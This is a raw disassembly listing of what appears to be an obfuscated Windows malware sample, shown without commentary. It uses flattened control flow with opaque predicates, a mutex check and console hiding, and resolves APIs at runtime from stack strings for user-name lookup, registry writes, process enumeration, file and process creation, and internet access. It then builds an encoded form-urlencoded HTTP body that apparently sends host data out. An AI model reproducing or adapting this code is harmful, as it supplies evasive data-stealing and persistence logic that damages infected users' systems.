test eax, ecx
setne al
cmp dword [0x14008ec1c], 9
setg cl
mov edx, ecx
xor dl, al
and cl, al
or cl, dl
mov ebx, ecx
xor bl, dl
test cl, cl
mov eax, 0x6ac4bde1
mov ecx, 0x1756f476
cmovne eax, ecx
test dl, dl
cmove eax, ecx
test bl, bl
mov ecx, 0x6ac4bde1
jmp 0x140048196
mov eax, 0x3cf6b1da
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
setne al
cmp dword [0x14008ec1c], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
mov ebx, 0xe36f2cd5
mov eax, 0x2e14b6a2
cmovne ebx, eax
test cl, cl
mov eax, ebx
mov ecx, 0xe36f2cd5
jmp 0x140045968
mov eax, 0xbbcbb5fd
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
not edx
and ebx, 0xc962db0f
mov eax, edx
and eax, 0x369d24f0
or eax, ebx
xor eax, 0x369d24f1
and edx, 0xfffffffe
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
xor cl, dl
mov edx, ebx
xor dl, al
or bl, al
xor bl, 1
or bl, dl
mov edx, ebx
xor dl, cl
test bl, bl
mov eax, 0xf5477b9a
mov ebx, 0x2e14b6a2
cmovne eax, ebx
test cl, cl
cmove eax, ebx
test dl, dl
mov ecx, 0xf5477b9a
jmp 0x140048196
mov eax, 0x48f0ca97
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov rax, qword [rbp + 0x10]
mov rax, qword [rbp + 0x10]
movaps xmm0, xmmword [str.JdhdGGBEJSHSTYE63ndHd4]
movaps xmmword [rax], xmm0
movabs rcx, 0x3d346448646e33
mov qword [rax + 0x10], rcx
sub rsp, 0x20
xor ecx, ecx
mov edx, 1
lea r8, str.MlsrmdjfhT534dGBvstNst
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
add rsp, 0x20
test rax, rax
sete byte [rbp + 0x12e]
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xa9e3d531
and ecx, 0x561c2ace
or ecx, eax
mov eax, ecx
xor eax, 0x561c2ace
and eax, 0xfffffffe
xor ecx, 0xa9e3d530
or ecx, eax
mov eax, ecx
not eax
and eax, 0x50d1dfd5
and ecx, 0xaf2e202a
or ecx, eax
xor ecx, 0xaf2e202a
setne al
cmp dword [0x14008ec1c], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
mov ebx, 0x56ed499f
mov eax, 0xaa5f1d0d
cmovne ebx, eax
test cl, cl
mov eax, ebx
mov ecx, 0x56ed499f
cmovne eax, ecx
test dl, dl
cmovne eax, ebx
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov rax, qword [rbp + 0x130]
mov eax, 0xaa44dfe5
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xb14bc989
and edx, 0x4eb43676
or edx, ebx
xor edx, 0x4eb43677
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
xor cl, dl
or bl, al
xor bl, 1
or bl, cl
mov edx, ebx
xor dl, cl
test bl, bl
mov eax, 0xaa7612e4
mov ebx, 0x8f4aa834
cmovne eax, ebx
test cl, cl
cmove eax, ebx
test dl, dl
mov ecx, 0xaa7612e4
jmp 0x140048196
mov rax, qword [rbp + 0x60]
mov rsi, qword [rbp + 0x60]
sub rsp, 0x20
mov r8d, 0x3e8
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov ecx, 0x3e8
mov rdx, rsi
call qword [0x14008ebe8]
add rsp, 0x20
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0xaa6fa60
and edx, 0xf559059f
or edx, eax
xor edx, 0xf559059f
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
or cl, dl
xor bl, al
mov eax, ecx
xor al, bl
mov eax, 0xd7c89db2
mov edx, 0x59c23595
cmovne eax, edx
test bl, bl
mov edx, eax
mov ebx, 0xd7c89db2
jmp 0x140045b36
mov eax, 0x67388d57
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, 0x2cf41cf2
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0x3959ad98
and edx, 0xc6a65267
or edx, eax
xor edx, 0xc6a65267
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov eax, 0xb8a5f393
mov edx, 0xa4a4c64d
cmovne eax, edx
test bl, bl
mov edx, eax
mov ebx, 0xb8a5f393
cmovne edx, ebx
test cl, cl
cmovne edx, eax
jmp 0x140047409
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov edx, 0x8427c58d
mov eax, 0xda13b5bc
cmovne edx, eax
test bl, bl
mov eax, edx
mov ebx, 0x8427c58d
jmp 0x14004064a
sub rsp, 0x20
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov eax, 0xc2c4dbb4
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov rbx, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov r12, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov r13, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov r15, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov rsi, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 8], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov r14, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x10], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x18], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x20], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x28], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x30], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x38], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x40], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x48], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x50], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x58], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x60], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x68], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x70], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x78], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x80], rsp
mov eax, 0x20
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x10], rax
mov eax, 0x7530
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x18], rax
mov eax, 0x7d0
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x20], rax
mov eax, 0x7d0
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x28], rax
mov eax, 0x7d0
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x30], rax
mov eax, 0x7d0
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x38], rax
mov eax, 0x7d0
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x40], rax
mov eax, 0x7d0
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x48], rax
mov eax, 0x3aa0
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x50], rax
mov eax, 0x2710
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x58], rax
mov eax, 0x7d0
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x60], rax
mov eax, 0x7d0
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x68], rax
sub rsp, 0x20
lea rcx, str.kernel32.dll
mov rdi, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rdi
add rsp, 0x20
mov qword [0x140081b08], rax
sub rsp, 0x20
lea rcx, str.advapi32.dll
call rdi
add rsp, 0x20
mov qword [0x140081b10], rax
sub rsp, 0x20
lea rcx, str.wininet.dll
call rdi
add rsp, 0x20
mov qword [0x140081b18], rax
sub rsp, 0x20
lea rcx, str.user32.dll
call rdi
add rsp, 0x20
mov qword [0x140081b20], rax
sub rsp, 0x20
lea rcx, str.gdi32.dll
call rdi
add rsp, 0x20
mov qword [0x140081b28], rax
sub rsp, 0x20
lea rcx, str.ole32.dll
call rdi
add rsp, 0x20
mov qword [0x140081b30], rax
mov rdx, qword [rbp]
mov qword [rbp + 0x70], rdx
mov rax, qword [rbp + 0x70]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmm0, xmmword [0x140074880]
movaps xmmword [rdx], xmm0
mov rcx, qword [0x140081b08]
sub rsp, 0x20
mov rdi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rdi
add rsp, 0x20
mov qword [0x140087238], rax
mov qword [rbp + 0x78], rbx
mov rax, qword [rbp + 0x78]
movaps xmmword [rbx], xmm6
movaps xmmword [rbx + 0x10], xmm6
movaps xmmword [rbx + 0x20], xmm6
mov word [rbx + 0x30], 0
movabs rax, 0x4e72657355746547
mov qword [rbx], rax
mov dword [rbx + 8], 0x57656d61
mov rcx, qword [0x140081b10]
sub rsp, 0x20
mov rdx, rbx
call rdi
add rsp, 0x20
mov qword [0x140087658], rax
mov qword [rbp + 0x80], r12
mov rax, qword [rbp + 0x80]
movaps xmmword [r12], xmm6
movaps xmmword [r12 + 0x10], xmm6
movaps xmmword [r12 + 0x20], xmm6
mov word [r12 + 0x30], 0
movabs rax, 0x6156746547676552
mov qword [r12], rax
mov dword [r12 + 8], 0x5765756c
mov rcx, qword [0x140081b10]
sub rsp, 0x20
mov rdx, r12
call rdi
add rsp, 0x20
mov qword [0x140087438], rax
mov qword [rbp + 0x88], r13
mov rax, qword [rbp + 0x88]
movaps xmmword [r13], xmm6
movaps xmmword [r13 + 0x10], xmm6
movaps xmmword [r13 + 0x20], xmm6
mov word [r13 + 0x30], 0
movabs rax, 0x7461657243676552
mov qword [r13], rax
mov dword [r13 + 8], 0x79654b65
mov byte [r13 + 0xc], 0x57
mov rcx, qword [0x140081b10]
sub rsp, 0x20
mov rdx, r13
call rdi
add rsp, 0x20
mov qword [0x140082100], rax
mov qword [rbp + 0x90], r15
mov rax, qword [rbp + 0x90]
movaps xmmword [r15], xmm6
movaps xmmword [r15 + 0x10], xmm6
movaps xmmword [r15 + 0x20], xmm6
mov word [r15 + 0x30], 0
movabs rax, 0x654b746553676552
mov qword [r15], rax
mov dword [r15 + 8], 0x6c615679
mov word [r15 + 0xc], 0x6575
mov byte [r15 + 0xe], 0x57
mov rcx, qword [0x140081b10]
sub rsp, 0x20
mov rdx, r15
call rdi
add rsp, 0x20
mov qword [0x140087440], rax
mov qword [rbp + 0x98], rsi
mov rax, qword [rbp + 0x98]
movaps xmmword [rsi], xmm6
movaps xmmword [rsi + 0x10], xmm6
movaps xmmword [rsi + 0x20], xmm6
mov word [rsi + 0x30], 0
movabs rax, 0x65736f6c43676552
mov qword [rsi], rax
mov word [rsi + 8], 0x654b
mov byte [rsi + 0xa], 0x79
mov rcx, qword [0x140081b10]
sub rsp, 0x20
mov rdx, rsi
call rdi
add rsp, 0x20
mov qword [0x140087448], rax
mov rdx, qword [rbp - 8]
mov qword [rbp + 0xa0], rdx
mov rax, qword [rbp + 0xa0]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmm0, xmmword [0x140074890]
movaps xmmword [rdx], xmm0
movabs rax, 0x746f687370616e53
mov qword [rdx + 0x10], rax
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140087228], rax
mov qword [rbp + 0xa8], r14
mov rax, qword [rbp + 0xa8]
movaps xmmword [r14], xmm6
movaps xmmword [r14 + 0x10], xmm6
movaps xmmword [r14 + 0x20], xmm6
mov word [r14 + 0x30], 0
movabs rax, 0x33737365636f7250
mov rsi, rax
mov qword [r14], rax
mov dword [r14 + 8], 0x72694632
mov word [r14 + 0xc], 0x7473
mov rcx, qword [0x140081b08]
sub rsp, 0x20
mov rdx, r14
call rdi
add rsp, 0x20
mov qword [0x14008ec20], rax
mov rdx, qword [rbp - 0x10]
mov qword [rbp + 0xb0], rdx
mov rax, qword [rbp + 0xb0]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x6e614865736f6c43
mov qword [rdx], rax
mov word [rdx + 8], 0x6c64
mov byte [rdx + 0xa], 0x65
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140082020], rax
mov rdx, qword [rbp - 0x18]
mov qword [rbp + 0xb8], rdx
mov rax, qword [rbp + 0xb8]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
mov qword [rdx], rsi
mov dword [rdx + 8], 0x78654e32
mov byte [rdx + 0xc], 0x74
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x14008ec28], rax
mov rdx, qword [rbp - 0x20]
mov qword [rbp + 0xc0], rdx
mov rax, qword [rbp + 0xc0]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm10
mov rcx, qword [0x140081b18]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140087230], rax
mov rdx, qword [rbp - 0x28]
mov qword [rbp + 0xc8], rdx
mov rax, qword [rbp + 0xc8]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x74656e7265746e49
mov qword [rdx], rax
mov dword [rdx + 8], 0x6e65704f
mov byte [rdx + 0xc], 0x57
mov rcx, qword [0x140081b18]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140082010], rax
mov rdx, qword [rbp - 0x30]
mov qword [rbp + 0xd0], rdx
mov rax, qword [rbp + 0xd0]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm11
mov rcx, qword [0x140081b18]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140081fc8], rax
mov rdx, qword [rbp - 0x38]
mov qword [rbp + 0xd8], rdx
mov rax, qword [rbp + 0xd8]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm12
mov word [rdx + 0x10], 0x6c64
mov byte [rdx + 0x12], 0x65
mov rcx, qword [0x140081b18]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140081bc8], rax
mov rdx, qword [rbp - 0x40]
mov qword [rbp + 0xe0], rdx
mov rax, qword [rbp + 0xe0]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x50706d6554746547
mov qword [rdx], rax
mov dword [rdx + 8], 0x57687461
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x14008ebe8], rax
mov rdx, qword [rbp - 0x48]
mov qword [rbp + 0xe8], rdx
mov rax, qword [rbp + 0xe8]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x6946657461657243
mov qword [rdx], rax
mov word [rdx + 8], 0x656c
mov byte [rdx + 0xa], 0x57
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x1400820f0], rax
mov rdx, qword [rbp - 0x50]
mov qword [rbp + 0xf0], rdx
mov rax, qword [rbp + 0xf0]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x656c694664616552
mov qword [rdx], rax
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x1400820e8], rax
mov rdx, qword [rbp - 0x58]
mov qword [rbp + 0xf8], rdx
mov rax, qword [rbp + 0xf8]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm13
mov rcx, qword [0x140081b18]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140082008], rax
mov rdx, qword [rbp - 0x60]
mov qword [rbp + 0x100], rdx
mov rax, qword [rbp + 0x100]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm14
mov rcx, qword [0x140081b18]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140081fd0], rax
mov rdx, qword [rbp - 0x68]
mov qword [rbp + 0x108], rdx
mov rax, qword [rbp + 0x108]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm15
mov rcx, qword [0x140081b18]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140081bd0], rax
mov rdx, qword [rbp - 0x70]
mov qword [rbp + 0x110], rdx
mov rax, qword [rbp + 0x110]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x7250657461657243
mov qword [rdx], rax
mov dword [rdx + 8], 0x7365636f
mov word [rdx + 0xc], 0x5773
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x14008ebf8], rax
mov rdx, qword [rbp - 0x78]
mov qword [rbp + 0x118], rdx
mov rax, qword [rbp + 0x118]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x6c69466574697257
mov qword [rdx], rax
mov byte [rdx + 8], 0x65
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x14008ebe0], rax
mov rdx, qword [rbp - 0x80]
mov qword [rbp + 0x120], rdx
mov rax, qword [rbp + 0x120]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x6854657461657243
mov qword [rdx], rax
mov dword [rdx + 8], 0x64616572
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x14008ec10], rax
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_FreeConsole]
add rsp, 0x20
test eax, eax
setne byte [rbp + 0x12d]
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov edx, ebx
xor dl, cl
test bl, bl
mov eax, 0x7610b746
mov ebx, 0x857d348d
cmovne eax, ebx
test cl, cl
mov ecx, 0x7610b746
cmovne eax, ecx
jmp 0x140047321
mov eax, 0xcf6cd2ee
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
movups xmmword [0x14008732a], xmm6
movaps xmmword [0x140087320], xmm6
movaps xmmword [0x140087310], xmm6
movaps xmmword [0x140087300], xmm6
movaps xmmword [0x1400872f0], xmm6
movaps xmmword [0x1400872e0], xmm6
movaps xmmword [0x1400872d0], xmm6
movaps xmmword [0x1400872c0], xmm6
movaps xmmword [0x1400872b0], xmm6
movaps xmmword [0x1400872a0], xmm6
movaps xmmword [0x140087290], xmm6
movaps xmmword [0x140087280], xmm6
movaps xmmword [0x140087270], xmm6
movaps xmmword [0x140087260], xmm6
movaps xmmword [0x140087250], xmm6
movaps xmmword [0x140087240], xmm6
movaps xmmword [0x140086fc0], xmm6
movaps xmmword [0x140086fd0], xmm6
movaps xmmword [0x140086fe0], xmm6
movaps xmmword [0x140086ff0], xmm6
movaps xmmword [0x140087000], xmm6
movaps xmmword [0x140087010], xmm6
movaps xmmword [0x140087020], xmm6
movaps xmmword [0x140087030], xmm6
movaps xmmword [0x140087040], xmm6
movaps xmmword [0x140087050], xmm6
movaps xmmword [0x140087060], xmm6
movaps xmmword [0x140087070], xmm6
movaps xmmword [0x140087080], xmm6
movaps xmmword [0x140087090], xmm6
movaps xmmword [0x1400870a0], xmm6
movups xmmword [0x1400870aa], xmm6
movaps xmmword [0x1400871e0], xmm6
movaps xmmword [0x1400871d0], xmm6
movaps xmmword [0x1400871c0], xmm6
mov word [0x1400871f0], 0
movaps xmmword [0x14008ec60], xmm6
movaps xmmword [0x14008ec50], xmm6
movaps xmmword [0x14008ec40], xmm6
mov word [0x14008ec70], 0
movaps xmmword [0x140086f60], xmm6
movaps xmmword [0x140086f50], xmm6
movaps xmmword [0x140086f40], xmm6
mov word [0x140086f70], 0
movaps xmmword [0x140081b60], xmm6
mov dword [0x140081b70], 0
movups xmmword [0x14008754a], xmm6
movaps xmmword [0x140087540], xmm6
movaps xmmword [0x140087530], xmm6
movaps xmmword [0x140087520], xmm6
movaps xmmword [0x140087510], xmm6
movaps xmmword [0x140087500], xmm6
movaps xmmword [0x1400874f0], xmm6
movaps xmmword [0x1400874e0], xmm6
movaps xmmword [0x1400874d0], xmm6
movaps xmmword [0x1400874c0], xmm6
movaps xmmword [0x1400874b0], xmm6
movaps xmmword [0x1400874a0], xmm6
movaps xmmword [0x140087490], xmm6
movaps xmmword [0x140087480], xmm6
movaps xmmword [0x140087470], xmm6
movaps xmmword [0x140087460], xmm6
sub rsp, 0x20
mov r8d, 0x2710
lea rax, [0x140082120]
mov rcx, rax
mov rdi, rax
xor edx, edx
call fcn.140059c80
add rsp, 0x20
mov rax, qword [rbp + 0x18]
mov rsi, qword [rbp + 0x18]
sub rsp, 0x20
mov r8d, 0x3a98
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov r8d, 0x7530
lea rax, [0x1400876a0]
mov rcx, rax
xor edx, edx
call fcn.140059c80
add rsp, 0x20
movaps xmmword [0x140082080], xmm6
movaps xmmword [0x140082090], xmm6
movaps xmmword [0x1400820a0], xmm6
movaps xmmword [0x1400820b0], xmm6
movaps xmmword [0x1400820c0], xmm6
movaps xmmword [0x1400820d0], xmm6
mov dword [0x1400820e0], 0
sub rsp, 0x20
mov r8d, 0x3e8
lea rcx, [0x140081be0]
xor edx, edx
call fcn.140059c80
add rsp, 0x20
movabs rax, 0x657079542d746e65
mov qword [0x140081be4], rax
mov word [0x140081bec], 0x203a
mov byte [0x140081bee], 0x61
movups xmmword [0x140081bf2], xmm7
mov word [0x140081c07], 0x656c
mov word [0x140081bef], 0x7070
mov byte [0x140081bf1], 0x6c
movabs rax, 0xa0d6465646f636e
mov qword [0x140081c09], rax
mov dword [0x140081be0], 0x746e6f43
mov dword [0x140081c02], 0x752d6d72
mov byte [0x140081c06], 0x72
mov byte [0x140082060], 0
mov dword [0x140082046], 0x656f6655
mov byte [0x14008204a], 0x78
mov dword [0x140082040], 0x6d646179
mov word [0x140082044], 0x4477
mov dword [0x14008205c], 0x6d665577
movups xmmword [0x14008204b], xmm8
mov byte [0x14008205b], 0x74
mov word [0x140082077], 0x5a
mov dword [0x140082073], 0x505a4855
mov word [0x140082070], 0x6a53
mov byte [0x140082072], 0x4b
movaps xmmword [0x140081fe0], xmm9
movabs rax, 0x6e0069002e0075
mov qword [0x140081ff0], rax
mov dword [0x140081ff8], 0x6f0066
sub rsp, 0x20
call fcn.14001fe90
sub rsp, 0x30
mov qword [rsp + 0x48], rdi
lea r14, [0x140086f40]
mov qword [rsp + 0x40], r14
lea r15, [0x1400871c0]
mov qword [rsp + 0x38], r15
lea r12, [0x140087460]
mov qword [rsp + 0x30], r12
lea r13, [0x140081b60]
mov qword [rsp + 0x28], r13
lea r12, [0x140086fc0]
mov qword [rsp + 0x20], r12
mov edx, 0x3a98
mov rcx, rsi
lea r8, str.umnome_ls__pmjodf_ls__idkdfjej_ls__vrjdmej_ls__ndlpeip_ls__cokenme_ls__mkeoldkf_ls
lea rdi, [0x140087240]
mov r9, rdi
call fcn.14002be10
add rsp, 0x50
mov rax, qword [rbp + 0x20]
mov rsi, qword [rbp + 0x20]
sub rsp, 0x20
mov r8d, 0x7d0
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov r8d, 0x7d0
mov rcx, rdi
mov rdx, rsi
call fcn.140010710
add rsp, 0x20
mov edi, eax
sub rsp, 0x20
lea rbx, [0x1400876a0]
mov rcx, rbx
call fcn.140060a40
add rsp, 0x20
movabs rcx, 0x3d656d6f6e6d75
mov qword [rax + rbx], rcx
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140060a40
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
lea r14, [0x140082040]
mov rcx, r14
xor edx, edx
lea r15, [0x140082070]
mov r8, r15
xor r9d, r9d
call fcn.1400490f0
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, rbx
mov rdx, rax
call fcn.140060850
mov rcx, rsi
call fcn.14005ff40
mov rcx, rdi
call fcn.14005ff40
add rsp, 0x20
mov rax, qword [rbp + 0x28]
mov rsi, qword [rbp + 0x28]
sub rsp, 0x20
mov r8d, 0x7d0
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov r8d, 0x7d0
mov rcx, r12
mov rdx, rsi
call fcn.140010710
add rsp, 0x20
mov edi, eax
sub rsp, 0x20
mov rcx, rbx
call fcn.140060a40
add rsp, 0x20
movabs rcx, 0x646f6a6d70262020
mov qword [rax + rbx], rcx
mov dword [rax + rbx + 7], 0x3d6664
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140060a40
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
mov rcx, r14
xor edx, edx
mov r8, r15
xor r9d, r9d
call fcn.1400490f0
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, rbx
mov rdx, rax
call fcn.140060850
mov rcx, rsi
call fcn.14005ff40
mov rcx, rdi
call fcn.14005ff40
add rsp, 0x20
mov rax, qword [rbp + 0x30]
mov rsi, qword [rbp + 0x30]
sub rsp, 0x20
mov r8d, 0x7d0
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov r8d, 0x7d0
mov rcx, r13
mov rdx, rsi
call fcn.140010710
